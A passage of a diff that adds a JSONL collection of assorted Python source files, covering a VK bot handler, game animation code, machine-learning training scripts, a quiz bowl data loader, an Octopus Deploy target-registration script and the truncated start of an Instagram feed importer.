diff --git "a/3172.jsonl" "b/3172.jsonl" new file mode 100644--- /dev/null +++ "b/3172.jsonl" @@ -0,0 +1,639 @@ +{"seq_id":"230506562","text":"from configs.config_vkbot import get_confirmation_token\nfrom db.mymodels import db_proxy\nfrom tools.log import logger\nfrom vkbot_main import bot\nimport json\n\ndef debug_processing(strdata):\n print(strdata)\n\n data = json.loads(strdata)\n\n db_proxy.connect(True)\n logger.info('in processing')\n\n # Вконтакте в своих запросах всегда отправляет поле типа\n if 'type' not in data.keys():\n return 'not vk'\n\n if data['type'] == 'confirmation':\n return get_confirmation_token\n\n elif data['type'] == 'message_new' or data['type'] == 'service_reply':\n logger.info('pulled message: ' + str(data['object']))\n\n bot.reply_to_message(data)\n return 'ok'\n\n db_proxy.close()\n return 'ok'","sub_path":"tools/tg_debug_process.py","file_name":"tg_debug_process.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"397018110","text":"from direct.interval.IntervalGlobal import *\nfrom panda3d.core import *\n\nclass FADToon:\n def __init__(self, avatar):\n self.avatar = avatar\n self.jellybean = loader.loadModel('phase_4/models/props/jellybean4')\n self.throwSfx = base.loadSfx('phase_6/audio/sfx/KART_getGag.mp3')\n self.eatSfx = base.loadSfx('phase_5.5/audio/sfx/beg_eat_swallow.mp3')\n self.eatSfx.setTime(6.0)\n \n def feedDoodle(self, doodle):\n endThrowPos = Vec3(*doodle.getPos())\n endThrowPos.setZ(1.0)\n throwJbTrack = Sequence(\n Func(base.playSfx, self.throwSfx, node = self.avatar),\n Func(doodle.loop, 'beg'),\n ProjectileInterval(self.jellybean, endPos = endThrowPos, duration = 1.5),\n Func(self.resetJellybean),\n Func(base.playSfx, self.eatSfx, time = 6.0, node = doodle),\n ActorInterval(doodle, 'fromBeg'),\n ActorInterval(doodle, 'eat', playRate = 2.0, endFrame = doodle.getNumFrames('eat') - 30),\n Func(self.eatSfx.stop),\n Func(doodle.loop, 'neutral')\n )\n otherSeq = Sequence(Wait(self.avatar.getDuration('feedPet')), Func(self.avatar.loop, 'neutral'))\n feedTrack = Sequence(\n Func(self.avatar.play, 'feedPet'),\n Func(otherSeq.start),\n Func(self.attachJellybean),\n Wait(2.3),\n Func(self.attachJellybeanToRenderSpace),\n throwJbTrack,\n )\n return feedTrack\n \n def stopAll(self):\n self.jellybean.removeNode()\n self.jellybean = None\n \n def attachJellybean(self):\n if self.jellybean:\n self.jellybean.reparentTo(self.avatar.rightHand)\n self.jellybean.setP(90)\n self.jellybean.setScale(1.1)\n self.jellybean.setX(0.1)\n \n def attachJellybeanToRenderSpace(self):\n if self.jellybean:\n self.jellybean.reparentTo(render)\n self.jellybean.setPos(self.avatar.rightHand, 0, 0, 0)\n self.jellybean.setH(90)\n \n def resetJellybean(self):\n if self.jellybean:\n self.jellybean.reparentTo(hidden)\n self.jellybean.setPosHprScale(0,0,0,0,0,0,0,0,0)","sub_path":"game/toontown/minigame/FADToon.py","file_name":"FADToon.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"562724407","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# File: dummyclicli.py\n#\n# Copyright 2021 Jona Vilders\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to\n# deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n# sell copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n#\n\n\"\"\"\nMain code for dummyclicli.\n\n.. _Google Python Style Guide:\n http://google.github.io/styleguide/pyguide.html\n\n\"\"\"\n\nimport logging\nimport logging.config\nimport json\nimport argparse\nimport coloredlogs\nfrom dummylibrarylib.dummylibrarylib import WhoAmI\n\n\n__author__ = '''Jona Vilders '''\n__docformat__ = '''google'''\n__date__ = '''27-10-2021'''\n__copyright__ = '''Copyright 2021, Jona Vilders'''\n__credits__ = [\"Jona Vilders\"]\n__license__ = '''MIT'''\n__maintainer__ = '''Jona Vilders'''\n__email__ = ''''''\n__status__ = '''Development''' # \"Prototype\", \"Development\", \"Production\".\n\n\n# This is the main prefix used for logging\nLOGGER_BASENAME = '''dummyclicli'''\nLOGGER = logging.getLogger(LOGGER_BASENAME)\nLOGGER.addHandler(logging.NullHandler())\n\n\ndef get_arguments():\n \"\"\"\n Gets us the cli arguments.\n\n Returns the args as parsed from the argsparser.\n \"\"\"\n # https://docs.python.org/3/library/argparse.html\n parser = argparse.ArgumentParser(description='''dummy cli''')\n parser.add_argument('--log-config',\n '-l',\n action='store',\n dest='logger_config',\n help='The location of the logging config json file',\n default='')\n parser.add_argument('--log-level',\n '-L',\n help='Provide the log level. Defaults to info.',\n dest='log_level',\n action='store',\n default='info',\n choices=['debug',\n 'info',\n 'warning',\n 'error',\n 'critical'])\n\n args = parser.parse_args()\n return args\n\n\ndef setup_logging(level, config_file=None):\n \"\"\"\n Sets up the logging.\n\n Needs the args to get the log level supplied\n\n Args:\n level: At which level do we log\n config_file: Configuration to use\n\n \"\"\"\n # This will configure the logging, if the user has set a config file.\n # If there's no config file, logging will default to stdout.\n if config_file:\n # Get the config for the logger. Of course this needs exception\n # catching in case the file is not there and everything. Proper IO\n # handling is not shown here.\n try:\n with open(config_file) as conf_file:\n configuration = json.loads(conf_file.read())\n # Configure the logger\n logging.config.dictConfig(configuration)\n except ValueError:\n print(f'File \"{config_file}\" is not valid json, cannot continue.')\n raise SystemExit(1)\n else:\n coloredlogs.install(level=level.upper())\n\n\ndef main():\n \"\"\"\n Main method.\n\n This method holds what you want to execute when\n the script is run on command line.\n \"\"\"\n args = get_arguments()\n setup_logging(args.log_level, args.logger_config)\n # Main code goes here\n LOGGER.info(\"Checking who I am.\")\n LOGGER.debug(f\"{WhoAmI().name}\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"dummyclicli/dummyclicli.py","file_name":"dummyclicli.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"58556144","text":"import matplotlib.pyplot as plt\nfrom keras import datasets, utils, models, layers\n\n\ndef main():\n #get datasets\n (x, y), (x_t, y_t) = get_data()\n #get network\n model = get_network(x.shape[1:], 10)\n\n #train network\n history = model.fit(x, y, batch_size=128, epochs=20, validation_split=0.2)\n\n #get loss result\n show_result(history)\n\n\ndef get_data(Nclass = 10):\n (x, y), (x_t, y_t) = datasets.mnist.load_data()\n\n #theano backend shape -> (number, row, col, channel)\n #tensorflow backend shape -> (number, channel, row, col)\n\n #channel, row, column\n row, col = x.shape[1:] #this time not use numpy reshape\n\n x = x.reshape(x.shape[0], row, col, 1)\n x_t = x.reshape(x.shape[0], row, col, 1)\n\n #set x data regulation\n x = x.astype('float32') / 255\n x_t = x_t.astype('float32') / 255\n\n #set y data onehot\n y = utils.to_categorical(y, Nclass)\n y_t = utils.to_categorical(y_t, Nclass)\n\n return (x, y), (x_t, y_t)\n\n\ndef get_network(input, Nclass):\n model = models.Sequential()\n model.add(layers.Conv2D(32, kernel_size=(4, 4), activation='relu', input_shape=input))\n model.add(layers.Conv2D(64, kernel_size=(2, 2), activation='tanh'))\n model.add(layers.MaxPool2D(pool_size=(2, 2)))\n #model.add(layers.Dropout(0.4))\n model.add(layers.Flatten())\n model.add(layers.Dense(196, activation='relu'))\n #model.add(layers.Dropout(0.4))\n model.add(layers.Dense(Nclass, activation='softmax'))\n\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n return model\n\ndef show_result(history):\n if not isinstance(history, dict):\n history = history.history\n\n plt.plot(history['loss'])\n plt.plot(history['val_loss'])\n plt.legend(['train, test'], loc=0)\n plt.xlabel('Epoch')\n plt.xlabel('Loss')\n plt.show()\n\nif __name__ == \"__main__\":\n main()","sub_path":"#2_ConvolutionalNeuralNetworkM1.py","file_name":"#2_ConvolutionalNeuralNetworkM1.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"609034961","text":"\n\"\"\"\nstats.py\n\nGet information about classes for the evaluation. \n\nauthor : Xavier Devroey \n\"\"\"\n\nimport sys\nimport re\nimport csv\nimport statistics\n\n\n####################\n# Functions\n####################\n\ndef usage():\n\tprint('usage: stats.py ')\n\n####################\n# Main program\n####################\n\n\nif len(sys.argv) < 2:\n\tprint('Wrong number of arguments!')\n\tusage()\n\texit()\n\n\nwith open(sys.argv[1], 'r') as subjects, open(sys.argv[2], 'w') as output:\n\tfieldnames = ['project_id', 'bug_id', 'class', 'method', 'ncss_class', 'ncss_method', 'ccn']\n\twriter = csv.DictWriter(output, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL, fieldnames=fieldnames)\n\twriter.writeheader()\n\tfor line in csv.DictReader(subjects):\n\t\t# target_class, project_id, bug_id\n\t\tcut = line['target_class']\n\t\tccnFile = 'buggy-versions' + '/' + line['project_id'] + '-' + line['bug_id'] + '/' + 'ccn.txt'\n\t\tstats = dict()\n\t\tstats['project_id'] = line['project_id']\n\t\tstats['bug_id'] = line['bug_id']\n\t\tstats['class'] = cut\n\t\twith open(ccnFile, 'r') as ccnIn:\n\t\t\tfor line in ccnIn:\n\t\t\t\tm1 = re.match(r\"^[ \\t]*(\\d+)[ \\t]+(\\d+)[ \\t]+(\\d+)[ \\t]+(\\d+)[ \\t]+(\\d+)[ \\t]+(.+)$\", line)\n\t\t\t\tm2 = re.match(r\"^[ \\t]*(\\d+)[ \\t]+(\\d+)[ \\t]+(\\d+)[ \\t]+(\\d+)[ \\t]+(.+\\))$\", line)\n\t\t\t\tif m1 :\n\t\t\t\t\t# Nr. NCSS Functions Classes Javadocs Class\n\t\t\t\t\t# 2 474 40 0 41 org.jfree.chart.ChartFactory\n\t\t\t\t\tclazz = m1.group(6)\n\t\t\t\t\tif clazz == cut:\n\t\t\t\t\t\tprint('Found class {}'.format(clazz))\n\t\t\t\t\t\tstats['ncss_class'] = int(m1.group(2))\n\t\t\t\telif m2 :\n\t\t\t\t\t# Nr. NCSS CCN JVDC Function\n\t\t\t\t\t# 1 13 1 0 com.alibaba.fescar.core.message.CodecTest.testA()\n\t\t\t\t\tmethod = m2.group(5)\n\t\t\t\t\tif method.startswith(cut + '.'):\n\t\t\t\t\t\tprint('Found method {} of class {}'.format(method, cut))\n\t\t\t\t\t\tstats['method'] = method\n\t\t\t\t\t\tstats['ncss_method'] = int(m2.group(2))\n\t\t\t\t\t\tstats['ccn'] = int(m2.group(3))\n\t\t\t\t\t\twriter.writerow(stats)\n","sub_path":"subjects/python/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"533965094","text":"import tensorflow as tf\nimport tensorflow_datasets as tfds\n#import tensorflow_hub as hub\nimport numpy as np\n#import matplotlib.pyplot as plt\n\n(ds_train,ds_test,ds_valid),info = tfds.load(\n 'curated_breast_imaging_ddsm/patches', split=['train','test','validation'],\n shuffle_files=True,\n with_info=True)\nnum_classes = info.features['label'].num_classes\n\nIMG_SIZE = (224, 224)\nIMG_SHAPE = (IMG_SIZE + (3,))\nTRAIN_LENGTH = info.splits['train'].num_examples\nBATCH_SIZE = 100\nBUFFER_SIZE = 1000\nSTEPS_PER_EPOCH = 10 #TRAIN_LENGTH // BATCH_SIZE\n\ndef load_image(datapoint):\n input_image = tf.image.resize(datapoint['image'], IMG_SIZE)\n input_image = tf.image.grayscale_to_rgb(input_image) # if using pretrained models\n return input_image,datapoint['label']\n\ntrain_dataset = ds_train.map(load_image, num_parallel_calls=tf.data.AUTOTUNE)\ntrain_dataset = train_dataset.cache().shuffle(BUFFER_SIZE).batch(BATCH_SIZE).repeat()\ntrain_dataset = train_dataset.prefetch(buffer_size=tf.data.AUTOTUNE)\n\nvalid_dataset = ds_valid.map(load_image, num_parallel_calls=tf.data.AUTOTUNE)\nvalid_dataset = valid_dataset.batch(BATCH_SIZE).cache()\nvalid_dataset = valid_dataset.prefetch(buffer_size=tf.data.AUTOTUNE)\n\n# Create the base model from the pre-trained model MobileNet V2\nbase_model = tf.keras.applications.MobileNetV2(input_shape=IMG_SHAPE,\n include_top=False,\n weights='imagenet')\n# Freeze convolution base\nbase_model.trainable = False\n\ndata_augmentation = tf.keras.Sequential([\n tf.keras.layers.experimental.preprocessing.RandomFlip('horizontal'),\n #tf.keras.layers.experimental.preprocessing.RandomRotation(0.1),\n])\npreprocess_input = tf.keras.applications.mobilenet_v2.preprocess_input\nglobal_average_layer = tf.keras.layers.GlobalAveragePooling2D()\nprediction_layer = tf.keras.layers.Dense(num_classes)\n\ninputs = tf.keras.Input(shape=IMG_SHAPE)\nx = data_augmentation(inputs)\nx = preprocess_input(x)\nx = base_model(x, training=False)\nx = global_average_layer(x)\n#x = tf.keras.layers.Dropout(0.2)(x)\noutputs = prediction_layer(x)\nmodel = tf.keras.Model(inputs, outputs)\n\n#base_learning_rate = 0.0001\nmodel.compile(optimizer=tf.keras.optimizers.Adam(),\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=tf.keras.metrics.SparseCategoricalAccuracy())\n\nhistory = model.fit(train_dataset,\n epochs=10,\n steps_per_epoch=10,\n validation_data=valid_dataset)\n\nacc = history.history['sparse_categorical_accuracy']\nval_acc = history.history['val_sparse_categorical_accuracy']\n\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n","sub_path":"transfer_learning.py","file_name":"transfer_learning.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"104534002","text":"from __future__ import print_function\n# import\n## batteries\nimport os\nimport sys\nimport argparse\n## application\nfrom DeepMAsED import Evaluate\n\n# functions\ndef get_desc():\n desc = 'Evaluate model'\n return desc\n\ndef parse_args(test_args=None, subparsers=None):\n desc = get_desc()\n epi = \"\"\"DESCRIPTION:\n Evaluate a trained model.\n The data_path must be structured as:\n training_output/\n ├── data\n │   └── genome\n │   └── metagenome\n │   ├── features_new.pkl\n │   └── features.tsv.gz\n ├── deepmased.h5\n ├── mean_std_final_model.pkl\n\n \"\"\"\n if subparsers:\n parser = subparsers.add_parser('evaluate', description=desc, epilog=epi,\n formatter_class=argparse.RawTextHelpFormatter)\n else:\n parser = argparse.ArgumentParser(description=desc, epilog=epi,\n formatter_class=argparse.RawTextHelpFormatter)\n\n # args\n parser.add_argument('--data_path', default='data', type=str, \n help='Where to find feature table (default: %(default)s)')\n parser.add_argument('--save_path', default='model', type=str, \n help='Where to save training weights and logs (default: %(default)s)')\n parser.add_argument('--save_plot', default=None, type=str, \n help='Where to save plots (default: %(default)s)')\n parser.add_argument('--max_len', default=10000, type=int, \n help='Max contig len, fixed input for CNN (default: %(default)s)')\n parser.add_argument('--mode', default='chimera', type=str, \n help='Chimera or edit distance (default: %(default)s)')\n parser.add_argument('--technology', default='megahit', type=str, \n help='Megahit or Metaspades (default: %(default)s)')\n parser.add_argument('--norm_raw', default=1, type=int, \n help='Whether to normalize the four one-hot feature of raw (default: %(default)s)')\n parser.add_argument('--is_synthetic', default=1, type=int, \n help='Whether the data is synthetic and thus has ground truth (default: %(default)s)')\n # running test args\n if test_args:\n args = parser.parse_args(test_args)\n return args\n\n return parser\n\ndef main(args=None):\n logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.DEBUG)\n # Input\n if args is None:\n args = parse_args()\n # Main interface\n Evaluate.main(args)\n \n# main\nif __name__ == '__main__':\n pass\n\n\n","sub_path":"DeepMAsED/Commands/Evaluate.py","file_name":"Evaluate.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"209616554","text":"from typing import List, Dict, Iterable, Tuple, Optional, Any, Set\nimport pickle\nimport csv\nimport os\nimport sqlite3\nfrom collections import defaultdict, Counter\nimport re\n\nimport nltk\n\nfrom qanta import qlogging\nfrom qanta.datasets.abstract import AbstractDataset, TrainingData, QuestionText, Answer\nfrom qanta.util.environment import QB_QUESTION_DB\nfrom qanta.util import constants as c\nfrom qanta.util.io import file_backed_cache_decorator, safe_path\nfrom qanta.config import conf\n\nkPAREN = re.compile(r'\\([^)]*\\)')\nkBRACKET = re.compile(r'\\[[^)]*\\]')\nkMULT_SPACE = re.compile(r'\\s+')\nkANGLE = re.compile(r'<[^>]*>')\n\nlog = qlogging.get(__name__)\n\n\nclass Question:\n def __init__(self, qnum, answer, category, naqt, protobowl,\n tournaments, page, fold):\n self.qnum = qnum\n self.answer = answer\n self.category = category\n self.naqt = naqt\n self.protobowl = protobowl\n self.tournaments = tournaments\n self.page = page\n self.fold = fold\n self.text = {}\n self._last_query = None\n\n def __repr__(self):\n return ''.format(\n self.qnum,\n self.page,\n self.flatten_text()[0:20]\n )\n\n def normalized_answer(self):\n return QuestionDatabase.normalize_answer(self.answer)\n\n def raw_words(self):\n \"\"\"\n Return a list of all words, removing all punctuation and normalizing\n words\n \"\"\"\n for i in sorted(self.text):\n for j in self.split_and_remove_punc(self.text[i]):\n yield j\n\n @staticmethod\n def split_and_remove_punc(text):\n for i in text.split():\n word = \"\".join(x for x in i.lower() if x not in c.PUNCTUATION)\n if word:\n yield word\n\n def partials(self, word_skip=-1):\n for i in sorted(self.text):\n previous = [self.text[x] for x in sorted(self.text) if x < i]\n if word_skip > 0:\n words = self.text[i].split()\n for j in range(word_skip, len(words), word_skip):\n yield i, j, previous + [\" \".join(words[:j])]\n\n yield i + 1, 0, [self.text[x] for x in sorted(self.text) if x <= i]\n\n def text_lines(self):\n d = {\"id\": self.qnum, \"answer\": self.page}\n for i in sorted(self.text):\n d[\"sent\"] = i\n d[\"text\"] = self.text[i]\n yield d\n\n def get_text(self, sentence, token):\n text = \"\"\n for i in range(sentence):\n if text == \"\":\n text += self.text.get(i, \"\")\n else:\n text += \" \" + self.text.get(i, \"\")\n if token > 0:\n text += \" \".join(self.text.get(sentence, \"\").split()[:token])\n return text\n\n def add_text(self, sent, text):\n self.text[sent] = text\n\n def flatten_text(self):\n return \" \".join(self.text[x] for x in sorted(self.text))\n\n def to_example(self, all_evidence: Optional[Dict[str, Dict[int, Any]]]=None) -> Tuple[List[QuestionText], Answer, Optional[Dict[str, Any]]]:\n sentence_list = [self.text[i] for i in range(len(self.text))]\n if all_evidence is not None and 'tagme' in all_evidence:\n evidence = {'tagme': all_evidence['tagme'][self.qnum]}\n else:\n evidence = None\n return sentence_list, self.page, evidence\n\n\n@file_backed_cache_decorator(safe_path('data/external/preprocess_expo_questions.cache'))\ndef preprocess_expo_questions(expo_csv: str, database=QB_QUESTION_DB, start_qnum=50000) -> List[Question]:\n \"\"\"\n This function takes the expo fold and converts it to a list of questions in the same output format as the database.\n \n The start_qnum parameter was determined by looking at the distribution of qnums and finding a range where there are\n no keys. Nonetheless for safety we still skip qnums if they clash with existing qnums\n :param expo_csv: \n :param database: \n :param start_qnum: \n :return: \n \"\"\"\n db = QuestionDatabase(location=database, load_expo=False)\n qnums = {q.qnum for q in db.all_questions(unfiltered=True).values()}\n while start_qnum in qnums:\n start_qnum += 1\n curr_qnum = start_qnum\n\n with open(expo_csv) as f:\n csv_questions = list(csv.DictReader(f))\n\n questions = []\n for q in csv_questions:\n q['sentences'] = nltk.sent_tokenize(q['text'])\n while curr_qnum in qnums:\n curr_qnum += 1\n qb_question = Question(\n curr_qnum, None, None, None, None, None, q['answer'], 'expo'\n )\n for i, sent in enumerate(q['sentences']):\n qb_question.add_text(i, sent)\n questions.append(qb_question)\n curr_qnum += 1\n\n return questions\n\n\nclass QuestionDatabase:\n def __init__(self, location=QB_QUESTION_DB, expo_csv=conf['expo_questions'], load_expo=True):\n self.location = location\n self._conn = sqlite3.connect(location)\n if os.path.exists(expo_csv) and load_expo:\n self.expo_questions = preprocess_expo_questions(expo_csv)\n else:\n self.expo_questions = []\n\n def query(self, command: str, arguments) -> Dict[str, Question]:\n questions = {}\n c = self._conn.cursor()\n command = 'select id, page, category, answer, ' + \\\n 'tournament, naqt, protobowl, fold ' + command\n c.execute(command, arguments)\n\n for qnum, page, _, answer, tournaments, naqt, protobowl, fold in c:\n questions[qnum] = Question(qnum, answer, None, naqt, protobowl, tournaments, page, fold)\n\n for q in self.expo_questions:\n questions[q.qnum] = q\n\n for qnum in questions:\n command = 'select sent, raw from text where question=? order by sent asc'\n c.execute(command, (qnum, ))\n for sentence, text in c:\n questions[qnum].add_text(sentence, text)\n\n return questions\n\n def all_questions(self, unfiltered=False):\n if unfiltered:\n return self.query('FROM questions', ())\n else:\n return self.query('FROM questions where page != \"\"', ())\n\n def answer_map(self):\n c = self._conn.cursor()\n command = 'select answer, page from questions ' + \\\n 'where page != \"\"'\n c.execute(command)\n\n d = defaultdict(Counter)\n for answer, page in c:\n d[answer][page] += 1\n\n return d\n\n @staticmethod\n def normalize_answer(answer):\n answer = answer.lower().replace(\"_ \", \" \").replace(\" _\", \" \").replace(\"_\", \"\")\n answer = answer.replace(\"{\", \"\").replace(\"}\", \"\")\n answer = kPAREN.sub('', answer)\n answer = kBRACKET.sub('', answer)\n answer = kANGLE.sub('', answer)\n answer = kMULT_SPACE.sub(' ', answer)\n answer = \" \".join(Question.split_and_remove_punc(answer))\n return answer\n\n def normalized_answers(self):\n \"\"\"\n Return a dictionary with the most unmatched pages\n \"\"\"\n\n c = self._conn.cursor()\n command = 'select answer, page from questions '\n c.execute(command)\n\n answers = defaultdict(list)\n for aa, page in c:\n normalized = self.normalize_answer(aa)\n answers[normalized].append((aa, page))\n return answers\n\n def questions_by_answer(self, answer):\n questions = self.query('from questions where answer == ?', (answer,))\n\n for ii in questions:\n yield questions[ii]\n\n def questions_with_pages(self) -> Dict[str, List[Question]]:\n page_map = defaultdict(list) # type: Dict[str, List[Question]]\n questions = self.query('from questions where page != \"\"', ()).values()\n\n for q in questions:\n page = q.page\n page_map[page].append(q)\n return page_map\n\n def prune_text(self):\n \"\"\"\n Remove sentences that do not have an entry in the database\n \"\"\"\n\n c = self._conn.cursor()\n command = 'select id from questions group by id'\n c.execute(command)\n questions = set(x for x in c)\n\n c = self._conn.cursor()\n command = 'select question from text group by question'\n c.execute(command)\n text = set(x for x in c)\n\n orphans = text - questions\n\n c = self._conn.cursor()\n for ii in orphans:\n command = 'delete from text where question=%i' % ii\n c.execute(command)\n log.info(\"Keeping %i Pruning %i\" % (len(questions - orphans), len(orphans)))\n self._conn.commit()\n\n def all_answers(self):\n \"\"\"\n Return a lookup from IDs to pages\n \"\"\"\n answers = {}\n c = self._conn.cursor()\n command = \"select id, page from questions where page != ''\"\n c.execute(command)\n\n for qid, page in c:\n answers[int(qid)] = page\n\n for q in self.expo_questions:\n answers[q.qnum] = q.page\n return answers\n\n\nclass QuizBowlDataset(AbstractDataset):\n def __init__(self, *, guesser_train=False, buzzer_train=False,\n qb_question_db: str=QB_QUESTION_DB, use_tagme_evidence=False) -> None:\n \"\"\"\n Initialize a new quiz bowl data set\n \"\"\"\n super().__init__()\n if not guesser_train and not buzzer_train:\n raise ValueError('Requesting a dataset which produces neither guesser or buzzer training data is invalid')\n\n if guesser_train and buzzer_train:\n log.warning(\n 'Using QuizBowlDataset with guesser and buzzer training data, make sure you know what you are doing!')\n self.db = QuestionDatabase(qb_question_db)\n self.guesser_train = guesser_train\n self.buzzer_train = buzzer_train\n self.training_folds = set() # type: Set[str]\n if self.guesser_train:\n self.training_folds.add(c.GUESSER_TRAIN_FOLD)\n if self.buzzer_train:\n self.training_folds.add(c.BUZZER_TRAIN_FOLD)\n\n self.use_tagme_evidence = use_tagme_evidence\n if self.use_tagme_evidence:\n with open('output/tagme/tagme.pickle', 'rb') as f:\n self.tagme_evidence = pickle.load(f) # type: Optional[Dict[int, Any]]\n else:\n self.tagme_evidence = None # type: Optional[Dict[int, Any]]\n\n def training_data(self) -> TrainingData:\n from functional import seq\n all_questions = seq(self.db.all_questions().values())\n if self.use_tagme_evidence:\n all_evidence = {'tagme': self.tagme_evidence} # type: Optional[Dict[str, Any]]\n else:\n all_evidence = None # type: Optional[Dict[str, Any]]\n\n filtered_questions = all_questions\\\n .filter(lambda q: q.fold in self.training_folds)\\\n .map(lambda q: q.to_example(all_evidence=all_evidence))\n training_examples = []\n training_answers = []\n training_evidence = []\n for example, answer, evidence in filtered_questions:\n training_examples.append(example)\n training_answers.append(answer)\n training_evidence.append(evidence)\n\n return training_examples, training_answers, training_evidence\n\n def questions_by_fold(self, folds=c.ALL_FOLDS) -> Dict[str, List[Question]]:\n from functional import seq\n all_questions = seq(self.db.all_questions().values())\n train_questions = all_questions\\\n .filter(lambda q: q.fold in self.training_folds)\\\n .group_by(lambda q: q.page)\\\n .flat_map(lambda kv: kv[1])\\\n .list()\n\n if len(self.training_folds) == 1:\n fold = next(iter(self.training_folds))\n question_fold_dict = {fold: train_questions}\n else:\n question_fold_dict = {'guessertrain': train_questions}\n\n for fold in folds:\n if fold not in self.training_folds:\n fold_questions = all_questions.filter(lambda q: q.fold == fold).list()\n question_fold_dict[fold] = fold_questions\n\n return question_fold_dict\n\n def questions_in_folds(self, folds: Iterable[str]) -> List[Question]:\n by_fold = self.questions_by_fold(folds=folds)\n questions = []\n for fold in folds:\n questions.extend(by_fold[fold])\n\n return questions\n","sub_path":"qanta/datasets/quiz_bowl.py","file_name":"quiz_bowl.py","file_ext":"py","file_size_in_byte":12354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"158514702","text":"import json\nimport requests\n\noctopus_server_uri = 'https://your.octopus.app/api'\noctopus_api_key = 'API-YOURAPIKEY'\nheaders = {'X-Octopus-ApiKey': octopus_api_key}\n\ndef get_octopus_resource(uri):\n response = requests.get(uri, headers=headers)\n response.raise_for_status()\n\n return json.loads(response.content.decode('utf-8'))\n\n\ndef get_by_name(uri, name):\n resources = get_octopus_resource(uri)\n return next((x for x in resources if x['Name'] == name), None)\n\n\nspace_name = 'Default'\nenvironment_names = ['Development', 'Test']\ntarget_name = 'your-target-name'\ntarget_tentacle_thumbprint = 'your-tentacle-thumbprint'\n\n# The subscription id is a random 20 character id (for example: 3hw9vtskv2cbfw7zvpje) that is used to queue messages from the server to the Polling Tentacle. \n# This should match the value in the Tentacle config file.\ntarget_polling_subscription_identifier = 'your-target-subscription'\n\nspace = get_by_name('{0}/spaces/all'.format(octopus_server_uri), space_name)\nenvironments = get_octopus_resource('{0}/{1}/environments/all'.format(octopus_server_uri, space['Id']))\nenvironment_ids = [environment['Id'] for environment in environments if environment['Name'] in environment_names]\n\ntarget = {\n 'Endpoint': {\n 'CommunicationStyle': 'TentacleActive',\n 'Thumbprint': target_tentacle_thumbprint,\n 'Uri': 'poll://{0}'.format(target_polling_subscription_identifier)\n },\n 'EnvironmentIds': environment_ids,\n 'Name': target_name,\n 'Roles': ['your-target-role'],\n 'Status': 'Unknown',\n 'IsDisabled': False\n}\n\nuri = '{0}/{1}/machines'.format(octopus_server_uri, space['Id'])\nresponse = requests.post(uri, headers=headers, json=target)\nresponse.raise_for_status()","sub_path":"REST/python/Targets/register-polling-tentacle.py","file_name":"register-polling-tentacle.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"46129839","text":"#!/usr/bin/env python3\n'''\nCreated on 21/01/2014\n@author: Fraser Thompson\n'''\nimport sys\nsys.path.append(r\"/home/fraser/Thundermaps/ThunderMaps-DataFeeds\")\nimport time\nfrom datetime import datetime\nimport Pthundermaps as thundermaps\nimport requests\n\nINSTAGRAM_ID=\"\"\nINSTAGRAM_SECRET=\"\"\n\nTHUNDERMAPS_API_KEY=\"\"\nTHUNDERMAPS_ACCOUNT_ID=\"instagram\"\n\nSOURCE_ID_FILE = \".source_ids_instagram\"\n\nclass Feed:\n def __init__(self, INSTAGRAM_ID, INSTAGRAM_SECRET):\n self.instagram_id = INSTAGRAM_ID\n self.instagram_secret = INSTAGRAM_SECRET\n\n # Assembles the description to be attached to each report\n def getDescription(self):\n desc_lst = []\n #Description\n desc_lst.append(\"'\" + self.title + \"'\" + \" by \" + self.username + (( \" at \" + self.loc_name + \".\") if self.loc_name != None else \".\"))\n desc_lst.append(\"
\" + self.likes + \" likes\")\n #Image\n desc_lst.append(\"
\"+\"See image on Instagram\"+\"\")\n desc_str = \"
